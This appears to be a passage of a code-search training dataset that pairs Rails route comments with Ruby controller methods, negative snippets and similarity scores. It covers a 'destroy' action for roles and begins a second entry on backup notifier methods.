\"edit\" }\n format.xml { render :xml => @serie.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n if !grant_access(\"alter_roles\", current_user)\n head(403)\n end\n @role.user_id = current_user.id\n @role.start_point = false if !params[:role][:start_point]\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_xml\n self.xml= dumpRouteAsXml\n self.save\n end", "def update\n @lieu = Lieu.find(params[:id])\n\n respond_to do |format|\n if @lieu.update_attributes(params[:lieu])\n format.html { redirect_to(@lieu, :notice => 'Lieu was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lieu.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @office.update(office_params)\n head :no_content\n end", "def update\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n if @sale.update_attributes(params[:sale])\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user_role = UserRole.find(params[:id])\n\n respond_to do |format|\n if @user_role.update_attributes(params[:user_role])\n flash[:notice] = 'UserRole was successfully updated.'\n format.html { redirect_to(@user_role) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_role.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @enrolled = Enrolled.find(params[:id])\n\n respond_to do |format|\n if @enrolled.update_attributes(params[:enrolled])\n format.html { redirect_to @enrolled, notice: 'Enrolled was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @enrolled.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.71386456", "0.62808794", "0.62398434", "0.62395734", "0.5911937", "0.58296406", "0.5706345", "0.5688722", "0.56283903", "0.56283903", "0.5623921", "0.55724114", "0.5551198", "0.55283445", "0.5455258", "0.54525435", "0.54087836", "0.5391634", "0.5389028", "0.5349875", "0.5346134", "0.53371876", "0.53299063", "0.53197116", "0.53140163", "0.5311478", "0.530212", "0.5289587", "0.5287681", "0.52875835", "0.5277421", "0.5261206", "0.52602834", "0.5252747", "0.5252747", "0.52486336", "0.5246415", "0.52443063", "0.521373", "0.52127767", "0.52127767", "0.5190167", "0.5187344", "0.5178293", "0.5170407", "0.51505256", "0.51501685", "0.5149854", "0.51475936", "0.5139864", "0.51395446", "0.5131866", "0.5131743", "0.51303536", "0.5129845", "0.51241875", "0.5120081", "0.51195824", "0.51182294", "0.51179665", "0.51173896", "0.5113593", "0.5111903", "0.51117927", "0.5108997", "0.5106113", "0.51019984", "0.5098234", "0.5086777", "0.5077775", "0.50751394", "0.50705874", "0.5065439", "0.50574857", "0.5055699", "0.504849", "0.5047924", "0.504475", "0.50435853", "0.50360954", "0.5033095", "0.50275654", "0.50198793", "0.5017189", "0.50075245", "0.5005023", "0.4998495", "0.49945122", "0.49943894", "0.49918583", "0.49909067", "0.49865058", "0.49819317", "0.49814287", "0.49804926", "0.49801084", "0.49765107", "0.4975993", "0.49753913", "0.49654278" ]
0.68744946
1
DELETE /rols/1 DELETE /rols/1.xml
def destroy @rol = Rol.find(params[:id]) @rol.destroy respond_to do |format| format.html { redirect_to(rols_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @rolid = params[:id]\n Role.destroy(@rolid)\n end", "def destroy\n @rol.destroy\n respond_to do |format|\n format.html { redirect_to roles_url }\n format.json { head :no_content }\n end\n end", "def test_set3_04c_delete_principal()\n user = \"test_user\"\n @test_acl.create_principal(user)\n id = @test_acl.create_ace(user, \"allow\", \"SELECT\", \"test\", \"/db/temporary/testsource\")\n \n @test_acl.delete_principal(user)\n query = \"doc(\\\"#{@col_path}acl.xml\\\")//node()[@id=\\\"#{id}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end", "def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end", "def destroy\r\n @razdel1 = Razdel1.find(params[:id])\r\n @razdel1.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(razdel1s_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @rr_sale = RrSale.find(params[:id])\n @rr_sale.destroy\n\n respond_to do |format|\n format.html { redirect_to(rr_sales_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @recurso = Recurso.find(params[:id])\n @recurso.destroy\n\n respond_to do |format|\n format.html { redirect_to(recursos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @rute = Rute.find(params[:id])\n @rute.destroy\n\n respond_to do |format|\n format.html { redirect_to(rutes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @lien = Lien.find(params[:id])\n @lien.destroy\n\n respond_to do |format|\n format.html { redirect_to(liens_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @lien = Lien.find(params[:id])\n @lien.destroy\n\n respond_to do |format|\n format.html { redirect_to(liens_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @renewal = Renewal.find(params[:id])\n @renewal.destroy\n\n respond_to do |format|\n format.html { redirect_to(renewals_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @aisle = Aisle.find(params[:id])\n @aisle.destroy\n\n respond_to do |format|\n format.html { redirect_to(aisles_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def delete\n @user = User.find(params[:id])\n @user.rvsps.delete_all()\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @lek = Lek.find(params[:id])\n @lek.destroy\n \n\n respond_to do |format|\n format.html { redirect_to(leks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @relatorios = Relatorio.find(params[:id])\n @relatorios.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @Roc = Roc.find(params[:id])\n @Roc.destroy\n\n respond_to do |format|\n format.html { redirect_to(Rocs_url) }\n format.xml { head :ok }\n end\n end", "def delete_trust(xml) \n if current_user \n trust_root = xml.root.get_elements('TrustRoot').first.text \n unless trust_root.empty? \n @trust = current_user.trusts.find(:first, :conditions => ['trust_root = ?', trust_root]) \n if @trust \n @trust.destroy \n return render(:text => \"<Response>success</Response>\") \n end \n end \n end \n render :text => '<Response>trust root does not exist</Response>' \n end", "def destroy\n @lore = Lore.find(params[:id])\n @lore.destroy\n\n respond_to do |format|\n format.html { redirect_to(lores_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @operations_role = OperationsRole.find(params[:id])\n @operations_role.destroy\n\n respond_to do |format|\n format.html { redirect_to(operations_roles_url) }\n format.xml { head :ok }\n end\n end", "def test_set3_06b_delete_res_object()\n user = \"test_user\"\n priv = \"test_privilege\"\n res_ob_type = \"test\"\n res_ob_adr = \"/db/temporary/testsource\"\n \n @test_acl.create_principal(user)\n @test_acl.create_resource_object(res_ob_type, res_ob_adr, user)\n id = @test_acl.create_ace(user, \"allow\", priv, res_ob_type, res_ob_adr)\n \n @test_acl.delete_res_object(res_ob_type, res_ob_adr)\n query = \"doc(\\\"#{@col_path}acl.xml\\\")//node()[@id=\\\"#{id}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end", "def destroy\n @rrold = Rrold.find(params[:id])\n @rrold.destroy\n\n respond_to do |format|\n format.html { redirect_to rrolds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @relatestagiario = Relatestagiario.find(params[:id])\n @relatestagiario.destroy\n\n respond_to do |format|\n format.html { redirect_to(relatestagiarios_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end", "def destroy\n @payrole = Payrole.find_by_id(params[:id])\n @payrole.destroy\n\n respond_to do |format|\n format.html { redirect_to user_shift_path(@user, @shift) }\n format.xml { head :ok }\n end\n end", "def destroy\n @staff_rec = StaffRec.find(params[:id])\n @staff_rec.destroy\n\n respond_to do |format|\n format.html { redirect_to(staff_recs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @leilao = Leilao.find(params[:id])\n @leilao.destroy\n\n respond_to do |format|\n format.html { redirect_to(leilaos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @alfresco = Alfresco.find(params[:id])\n @alfresco.destroy\n\n respond_to do |format|\n format.html { redirect_to(alfrescos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n lect = Lecture.find(@lec_staff.lecture_id)\n @lec_staff.destroy\n respond_to do |format|\n format.html { redirect_to lecture_path(lect), notice: 'Staff removido com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @relatorio = Relatorio.find(params[:id])\n @relatorio.destroy\n\n respond_to do |format|\n format.html { redirect_to(home_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @rendezvouz = Rendezvouz.find(params[:id])\n @rendezvouz.destroy\n\n respond_to do |format|\n format.html { redirect_to(rendezvouzs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @wro = Wro.find(params[:id])\n @wro.destroy\n\n respond_to do |format|\n format.html { redirect_to(wros_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @norma = Norma.find(params[:id])\n @norma.destroy\n\n respond_to do |format|\n format.html { redirect_to(normas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ordendetalle = Ordendetalle.find(params[:id])\n @ordendetalle.destroy\n\n respond_to do |format|\n format.html { redirect_to(ordendetalles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @user = User.find params[:user_id]\n @role = Role.find params[:id]\n\n @user.roles.delete @role\n flash[:notice] = 'Assigment was successfully destroyed.'\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end", "def destroy\n @lieu = Lieu.find(params[:id])\n @lieu.destroy\n\n respond_to do |format|\n format.html { redirect_to(lieus_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estatu = Estatu.find(params[:id])\n @estatu.destroy\n\n respond_to do |format|\n format.html { redirect_to(estatus_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @rede = Rede.find(params[:id])\n @rede.destroy\n\n respond_to do |format|\n format.html { redirect_to(redes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @dossier = Dossier.find(params[:id])\n @dossier.destroy\n\n respond_to do |format|\n format.html { redirect_to(\"/\") }\n format.xml { head :ok }\n end\n end", "def destroy\n @role = @client.roles.find(params[:id])\n @role.destroy\n\n respond_to do |format|\n flash[:notice] = 'Role was successfully removed.' \n format.html { redirect_to(client_roles_url(@client)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @seccion = Seccion.find(params[:id])\n @seccion.destroy\n\n respond_to do |format|\n format.html { redirect_to(seccions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @acre = Acre.find(params[:id])\n @acre.destroy\n\n respond_to do |format|\n format.html { redirect_to(acres_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @role = Role.find(params[:id])\n @role.destroy\n\n respond_to do |format|\n format.html { redirect_to(roles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @role = Role.find(params[:id])\n @role.destroy\n\n respond_to do |format|\n format.html { redirect_to(roles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @oligo = Oligo.find(params[:id])\n @oligo.destroy\n\n respond_to do |format|\n format.html { redirect_to(oligos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n ActiveRecord::Base.transaction do\n @role = Role.find(params[:id])\n @role.destroy\n\n respond_to do |format|\n format.html { redirect_to(roles_url) }\n format.xml { head :ok }\n end\n end\n end", "def destroy\n @direccion = Direccion.find(params[:id])\n @direccion.destroy\n\n respond_to do |format|\n format.html { redirect_to(direccions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @userrole = Userrole.find(params[:id])\n @userrole.destroy\n\n respond_to do |format|\n format.html { redirect_to(userroles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @employees_rol.destroy\n respond_to do |format|\n format.html { redirect_to employees_rols_url, notice: 'Employees rol was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @log = @client.logs.find(params[:id])\n @log.destroy\n\n respond_to do |format|\n format.html { redirect_to(client_url(@client)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @empleadosautorizado = Empleadosautorizado.find(params[:id])\n @empleadosautorizado.destroy\n\n respond_to do |format|\n format.html { redirect_to(empleadosautorizados_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @tree_node_ac_rights = TreeNodeAcRight.find(params[:id])\n @tree_node_ac_rights.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_tree_node_tree_node_permissions_path }\n format.xml { head :ok }\n end\n end", "def destroy\n @admin_coleccion = Admin::Coleccion.find(params[:id])\n @admin_coleccion.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_coleccions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n \n @sale = Sale.find(params[:id])\n logger.info \"Sale #{@sale.title} destroyed by #{current_user.email}\"\n \n @sale.destroy\n\n respond_to do |format|\n format.html { redirect_to(sales_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @reclamo = Reclamo.find(params[:id])\n @reclamo.destroy\n\n respond_to do |format|\n format.html { redirect_to(reclamos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @documentoclasificacion = Documentoclasificacion.find(params[:id])\n @documentoclasificacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentoclasificaciones_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @rubro.destroy\n\n respond_to do |format|\n format.html { redirect_to(rubros_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @recursorevision = @solicitud.recursosrevision.find(params[:id])\n @recursorevision.destroy\n\n respond_to do |format|\n format.html { redirect_to(solicitud_recursosrevision_url(@solicitud), :notice => \"Recurso de revisión eliminado con exito.\") }\n format.xml { head :ok }\n end\n end", "def destroy\n @user_space_role = UserSpaceRole.find(params[:id])\n @user_space_role.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_space_roles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @revenu = @foyer.revenus.find(params[:id])\n @revenu.destroy\n\n respond_to do |format|\n format.html { redirect_to foyer_revenus_url(@foyer) }\n format.xml { head :ok }\n end\n end", "def destroy\n @uitgelicht = Uitgelicht.find(params[:id])\n @uitgelicht.destroy\n\n respond_to do |format|\n format.html { redirect_to(uitgelichts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @poll = Poll.find_by_admin_key(params[:key])\n @poll.destroy\n\n respond_to do |format|\n format.html { redirect_to(polls_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n @ole.Delete()\n end", "def delete()\n @ole.Delete()\n end", "def delete()\n @ole.Delete()\n end", "def delete()\n @ole.Delete()\n end", "def destroy\n @dossier = Dossier.find(params[:id])\n @dossier.destroy\n\n respond_to do |format|\n format.html { redirect_to(dossiers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n chef_server_rest.delete(\"roles/#{@name}\")\n end", "def destroy\n @addition = Addition.find(params[:id])\n @addition.destroy\n\n respond_to do |format|\n format.html { redirect_to(additions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @role_user = RolesUser.find(params[:id])\n @role_user.destroy\n\n respond_to do |format|\n format.html { redirect_to(roles_users_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @lease = Lease.find(params[:id])\n @lease.destroy\n\n respond_to do |format|\n format.html { redirect_to(leases_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @solicitudrecurso = Solicitudrecurso.find(params[:id])\n @solicitudrecurso.destroy\n \n respond_to do |format|\n @solicitudrecursos= Solicitudrecurso.find_all_by_usuario_id(@usuario_actual.id)\n format.html { render :action => \"index\" }\n format.xml { head :ok }\n end\n end", "def destroy\n @senhas = Senha.find(params[:id])\n @senhas.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end", "def delete_course_by_id(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/courses/#{org_unit_id}\" # setup user path\n # ap path\n _delete(path)\n puts '[+] Course data deleted successfully'.green\nend", "def destroy\n @calidadtiposdocumento = Calidadtiposdocumento.find(params[:id])\n @calidadtiposdocumento.destroy\n\n respond_to do |format|\n format.html { redirect_to(calidadtiposdocumentos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ridol = Ridol.find(params[:id])\n @ridol.destroy\n\n respond_to do |format|\n format.html { redirect_to ridols_url }\n format.json { head :ok }\n end\n end", "def destroy\n @primary_role = PrimaryRole.find(params[:id])\n @primary_role.destroy\n\n respond_to do |format|\n format.html { redirect_to(primary_roles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @rolpersona.destroy\n respond_to do |format|\n format.html { redirect_to rolpersonas_url, notice: 'Rolpersona was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @salary = Salary.find(params[:id])\n @salary.destroy\n\n respond_to do |format|\n format.html { redirect_to(salaries_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @apparel = Apparel.find(params[:id])\n @apparel.destroy\n\n respond_to do |format|\n format.html { redirect_to(apparels_url) }\n format.xml { head :ok }\n end\n end", "def delete!\n Recliner.delete(uri)\n end", "def destroy\n @portal_learner = Portal::Learner.find(params[:id])\n @portal_learner.destroy\n\n respond_to do |format|\n format.html { redirect_to(portal_learners_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @novel = Novel.find(params[:id])\n @novel.destroy\n\n respond_to do |format|\n format.html { redirect_to(novels_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @lr40 = Lr40.find(params[:id])\n @lr40.destroy\n\n respond_to do |format|\n format.html { redirect_to(lr40s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @evaluacione = Evaluacione.find(params[:id])\n @evaluacione.destroy\n\n respond_to do |format|\n format.html { redirect_to(evaluaciones_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @staff = Staff.find(params[:id])\n @staff.destroy\n\n respond_to do |format|\n format.html { redirect_to(staffs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @suministro = Suministro.find(params[:id])\n @suministro.destroy\n\n respond_to do |format|\n format.html { redirect_to(suministros_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @office = Office.find(params[:id])\n @office.destroy\n\n respond_to do |format|\n format.html { redirect_to(offices_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @reputacao_veiculo = ReputacaoVeiculo.find(params[:id])\n @reputacao_veiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to(reputacao_veiculos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @texte_accueil = TexteAccueil.find(params[:id])\n @texte_accueil.destroy\n\n respond_to do |format|\n format.html { redirect_to(texte_accueils_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @orc_ficha = OrcFicha.find(params[:id])\n @orc_ficha.destroy\n\n respond_to do |format|\n format.html { redirect_to(orc_fichas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @lecture = Lecture.find(params[:id])\n @lecture.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_lectures_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @rol_juece.destroy\n respond_to do |format|\n format.html { redirect_to rol_jueces_url, notice: 'Rol juece was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:user_id])\n @role = Role.find(params[:id])\n if @user.has_role?(@role.name)\n @user.roles.delete(@role)\n end\n respond_to do |format|\n format.html {redirect_to :action => 'index' }\n format.xml { head :ok }\n end\n \n end", "def destroy\n @user_role = UserRole.find(params[:id])\n @user_role.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_roles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estacion = Estacion.find(params[:id])\n @estacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(estaciones_url) }\n format.xml { head :ok }\n end\n end" ]
[ "0.64588046", "0.64537984", "0.63043654", "0.6231372", "0.61747974", "0.6153388", "0.6142095", "0.61274886", "0.60851115", "0.607345", "0.607345", "0.6060952", "0.60603064", "0.60370386", "0.60283357", "0.60274565", "0.6021817", "0.6016675", "0.60112804", "0.6004829", "0.60011345", "0.5994339", "0.5993314", "0.5976162", "0.5972446", "0.5961779", "0.59494925", "0.5939653", "0.5932121", "0.5928277", "0.5915478", "0.5893826", "0.5883901", "0.58803535", "0.5877669", "0.5877363", "0.587373", "0.5863684", "0.5863529", "0.58611155", "0.58588177", "0.58561224", "0.58522975", "0.58484256", "0.5845505", "0.5839052", "0.5839052", "0.5819039", "0.5819027", "0.5811252", "0.5810648", "0.5810398", "0.5808422", "0.5807004", "0.5806801", "0.5802983", "0.5793144", "0.57893014", "0.57874304", "0.5787148", "0.5782192", "0.57773066", "0.5776895", "0.5776303", "0.57758343", "0.5774757", "0.5774757", "0.5774757", "0.5774757", "0.5772197", "0.5763028", "0.57516", "0.5749855", "0.57458234", "0.5738736", "0.573694", "0.5736733", "0.57351977", "0.57334584", "0.5730502", "0.5724718", "0.5723607", "0.57188964", "0.571565", "0.5715331", "0.5711729", "0.5710397", "0.57098144", "0.5709608", "0.5707054", "0.5705106", "0.5704163", "0.5703476", "0.5703304", "0.57025814", "0.57024205", "0.5697809", "0.5697118", "0.56945676" ]
0.72054386
1
Notify the user of the backup operation results. `status` indicates one of the following: `:success` : The backup completed successfully. : Notification will be sent if `on_success` is `true`. `:warning` : The backup completed successfully, but warnings were logged. : Notification will be sent if `on_warning` or `on_success` is `true`. `:failure` : The backup operation failed. : Notification will be sent if `on_warning` or `on_success` is `true`.
def notify!(status) send_message(message.call(model, status: status_data_for(status))) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def notify!(status)\n name = case status\n when :success then 'Success'\n when :warning then 'Warning'\n when :failure then 'Failure'\n end\n message = '[Backup::%s]' % name\n send_message(message)\n end", "def notify!(status)\n name, color = case status\n when :success then ['Success', success_color]\n when :warning then ['Warning', warning_color]\n when :failure then ['Failure', failure_color]\n end\n message = \"[Backup::%s] #{@model.label} (#{@model.trigger})\" % name\n send_message(message, color)\n end", "def notify!(status)\n name = case status\n when :success then 'Success'\n when :warning then 'Warning'\n when :failure then 'Failure'\n end\n message = \"[Backup::%s] #{@model.label} (#{@model.trigger}) (@ #{@model.time})\" % name\n send_message(message)\n end", "def notify!(status)\n send_message \"[Backup::%s] #{@model.label} (#{@model.trigger})\" % status.to_s.capitalize\n end", "def notify!(status)\n incident_description = \"Backup - #{model.label}\"\n incident_key = \"backup/#{model.trigger}\"\n incident_details = {\n incident_key: incident_key,\n details: {\n trigger: model.trigger,\n label: model.label,\n started_at: model.started_at,\n finished_at: model.finished_at,\n duration: model.duration,\n status: status,\n exception: model.exception\n }\n }\n\n event_type = case status\n when :success then :resolve\n when :warning then resolve_on_warning ? :resolve : :trigger\n when :failure then :trigger\n end\n\n case event_type\n when :trigger\n pagerduty.trigger(incident_description, incident_details)\n when :resolve\n incident = pagerduty.get_incident(incident_key)\n incident.resolve(incident_description, incident_details)\n end\n end", "def notify_status(status)\n notify(\"STATUS=#{status}\")\n end", "def notify!(status)\n msg = message.call(model, status: status_data_for(status))\n\n hash = { alert_type: default_alert_type(status) }\n hash.store(:msg_title, @title)\n hash.store(:date_happened, @date_happened) if @date_happened\n hash.store(:priority, @priority) if @priority\n hash.store(:host, @host) if @host\n hash.store(:tags, @tags) if @tags\n hash.store(:aggregation_key, @aggregation_key) if @aggregation_key\n hash.store(:source_type_name, @source_type_name) if @source_type_name\n hash.store(:alert_type, @alert_type) if @alert_type\n send_event(msg, hash)\n end", "def notify!(status)\n email = ::Mail.new\n email.to = to\n email.from = from\n email.cc = cc\n email.bcc = bcc\n email.reply_to = reply_to\n email.subject = message.call(model, status: status_data_for(status))\n\n # By default, the `mail` gem doesn't include BCC in raw output, which is\n # needed for SES to send to those addresses.\n email[:bcc].include_in_headers = true\n\n send_log = send_log_on.include?(status)\n template = Backup::Template.new(model: model, send_log: send_log)\n email.body = template.result(sprintf(\"notifier/mail/%s.erb\",\n status.to_s))\n\n if send_log\n email.convert_to_multipart\n email.attachments[\"#{model.time}.#{model.trigger}.log\"] = {\n mime_type: \"text/plain;\",\n content: Logger.messages.map(&:formatted_lines).flatten.join(\"\\n\")\n }\n end\n\n send_opts = {\n raw_message: {\n data: email.to_s\n }\n }\n\n if email.respond_to?(:destinations)\n send_opts[:destinations] = email.destinations\n end\n\n client.send_raw_email(send_opts)\n end", "def notify_update_callbacks status, result\n\t\t\t@update_callbacks.each do |cb|\n\t\t\t\tbegin\n\t\t\t\t\tcb.call status, result\n\t\t\t\trescue => e\n\t\t\t\t\tlog_e e, \"Error calling an update callback\"\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def on_complete(status, _params)\n puts \"#{status.total} was processed\"\n end", "def status\n { 'status' => success ? 'sent' : 'failed' }\n end", "def on_backup_complete(info={})\n unless info[:errors]\n # Reset error notification count after succesful backups\n update_attributes(:error_notifications_sent => 0, :auth_error => nil)\n end\n update_last_backup_times\n \n member.backup_finished!(info)\n end", "def render_notification(status, success_message_key: \"#{params[:action]} succeeded\", failure_message_key: \"#{params[:action]} failed\", now: false)\n if now == true\n flash_target = flash.now\n else\n flash_target = flash\n end\n\n if status\n flash_target[\"success\"] = { \"id\" => \"resource_status\", \"message\" => I18n.t(success_message_key, scope: notice_scope_name) }\n else\n flash_target[\"error\"] = { \"id\" => \"resource_status\", \"message\" => I18n.t(failure_message_key, scope: notice_scope_name) }\n end\n end", "def send_status\n remote_request Net::HTTP::Post, \"api/status/#{self.name}\", { :status => JSON.generate(status) }\n rescue StandardError => e\n log \"Sending status to #{@config[:monitor_url]} failed\"\n log \"Error: #{e}\"\n end", "def backup_finished!(info)\n bs = backup_state || build_backup_state\n bs.finished! info\n \n # Email member 1st time there is data for timeline\n if bs.first_time_data_available?\n # Send email in background\n spawn { BackupNotifier.deliver_timeline_ready(self) }\n end\n end", "def send_status_report\n\t\treport = {\n\t\t\tversion: Assemblage::VERSION,\n\t\t\tstatus: self.status,\n\t\t\tuptime: self.uptime\n\t\t}\n\n\t\tmessage = Assemblage::Protocol.encode( :status_report, report )\n\n\t\tself.send_message( message )\n\tend", "def backup_status_desc\n status = if !confirmed?\n 'Authentication Required'\n elsif active?\n if lb = latest_backup\n lb.successful? ? 'OK' : 'Failed'\n else\n 'OK'\n end\n else\n 'Inactive'\n end\n if (status == 'Failed') && backup_broken?\n status = EternosBackup::BackupSourceError.new(self).short_error\n end\n status\n end", "def say_status(status, color)\n base.shell.say_status(status, path, color) if verbose?\n end", "def say_status(status, color)\n base.shell.say_status(status, dir, color) if verbose?\n end", "def update_status(status)\n @status = status\n @last_status_change = Time.now\n update_statusfile\n end", "def report_progress\n backup_size = (@backup.size + @backup.wal_file_size) / 1024 ** 2\n du = target_path_exists? ? target_path_disk_usage / 1024 ** 2 : 0\n percent = du.to_f / backup_size.to_f * 100\n percent = 100.0 if percent >= 100.0\n message = \"#{percent.to_i}% of Backup #{@backup.id} (#{@backup.server}) recovered\" \n at(percent.to_i, 100, message)\n @log.info(message)\n end", "def status=(status)\n check_exists\n oldstatus = SideJob.redis.getset(\"#{redis_key}:status\", status)\n if oldstatus != status && worker_config['status_publish'] != false\n SideJob::Port.group(log: false) do\n publish({status: status})\n end\n end\n end", "def status_transfer\n if status_changed? && status_changed?(from: \"finish\")\n errors.add(:base, \"错误的操作\")\n end\n end", "def update_status\n begin\n if self.service_test.status_changed?\n results = self.service_test.test_results.last(2)\n unless results.empty?\n case results.length\n when 1\n previous = TestResult.new_with_unknown_status\n when 2\n previous = results[0] \n end\n \n if USE_EVENT_LOG\n \n service = self.service_test.service\n \n ActivityLog.create(:action => \"status_change\",\n :data =>{:current_result_id => self.id, :previous_result_id =>previous.id },\n :activity_loggable => self.service_test,\n :referenced => service)\n \n current_status = ServiceCatalographer::Monitoring::TestResultStatus.new(self)\n previous_status = ServiceCatalographer::Monitoring::TestResultStatus.new(previous)\n \n \n if ENABLE_TWITTER\n ServiceCatalographer::Util.say \"Called TestResult#update_status. A status change has occurred so submitting a job to tweet about...\"\n msg = \"Service '#{ServiceCatalographer::Util.display_name(service)}' has a test change status from #{previous_status.label} to #{current_status.label} 